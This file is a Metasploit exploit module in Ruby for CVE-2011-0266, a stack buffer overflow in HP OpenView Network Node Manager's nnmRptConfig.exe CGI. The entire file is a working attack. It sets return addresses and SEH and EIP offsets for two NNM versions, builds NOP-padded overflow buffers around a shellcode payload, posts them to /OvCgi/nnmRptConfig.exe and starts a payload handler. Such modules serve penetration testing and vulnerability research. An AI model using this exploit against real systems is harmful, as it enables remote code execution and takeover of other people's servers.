##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info={})
		super(update_info(info,
			'Name'        => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
			'Description' => %q{
				This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
				A remote user can send a long string data to the nameParams parameter via
				a POST request, which causes an overflow on the stack when function
				ov.sprintf_new() is used, and gain arbitrary code execution.'
			},
			'License'	  => MSF_LICENSE,
			'Author'      =>
				[
					'sinn3r',
					'MC',
				],
			'References' =>
				[
					['CVE', '2011-0266'],
					['OSVDB', '70473'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
				],
			'Payload'	 =>
				{
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[
						'HP NNM 7.53 Windows Server 2003 Enterprise',
						{
							'Ret' => 0x5A30532D,    #POP/POP/RET OvWww.dll
							'offset' => 46913,      #Offset to SEH chain
							'Pops' => 13,           #Number of POPADs needed
							'Payloadoffset' => 57,  #Offset to pyload
						}
					],
					[
						'HP OpenView Network Node Manager 7.50',
						{
							'Ret' => 0x5a01d78d,   #JMP
							'offset' => 5117,      #Offset to overwrite EIP
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jan 10 2011"))
	end

	def exploit

		sploit = ''
		data   = ''

		if target.name =~ /NNM 7.53/ && target.name =~ /Server 2003/

			nops = make_nops(1000)*70

			sploit << nops[0, target['offset']]
			sploit << generate_seh_record(target.ret)
			sploit << "\x61"*target['Pops']
			sploit << "\x51"
			sploit << "\xc3"
			sploit << nops[0, target['Payloadoffset']]
			sploit << payload.encoded
			sploit << nops[0, 70000-sploit.length]

			data << "Content&Action=Create&"
			data << "Template=Avail/CRAvail&"
			data << "Operation=Apply&"
			data << "Params=schdParams+nameParams"
			data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
			data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

		elsif target.name =~ /7.50/

			#Courtersy of MC
			sploit << rand_text_alpha_upper(target['offset'])
			sploit << [target.ret].pack('V')
			sploit << payload.encoded
			sploit << rand_text_alpha_upper(8024 - 5117 - 4 - payload.encoded.length)

			data << "Content&Action=Modify&Template=Avail/General+Availabiilty/monthtodat"
			data << "e&Operation=Apply&Params=schdParams+nameParams&schdParams=schd_select1%3Dmonto"
			data << "date&nameParams=text1%3D#{sploit}%262%3D%263%3D"

		end

		print_status("Trying target #{target.name}...")

		connect
		send_request_raw({
			'uri' => '/OvCgi/nnmRptConfig.exe',
			'data' => data,
			'version' => '1.1',
			'method' => 'POST',
			'headers' => {
				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
				'Accept-Language' => 'en-us,en;q=0.5',
				'Accept-Encoding' => 'gzip,deflate',
				'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
				'Keep-Alive' => '300',
				'Connection' => 'Keep-Alive',
				'Cache-Control' => 'max-age=0',
				'Content-Length' => data.length,
				'Content-Type' => 'application/x-www-form-urlencoded',
			}
		}, 3)

		handler
		disconnect

	end
end
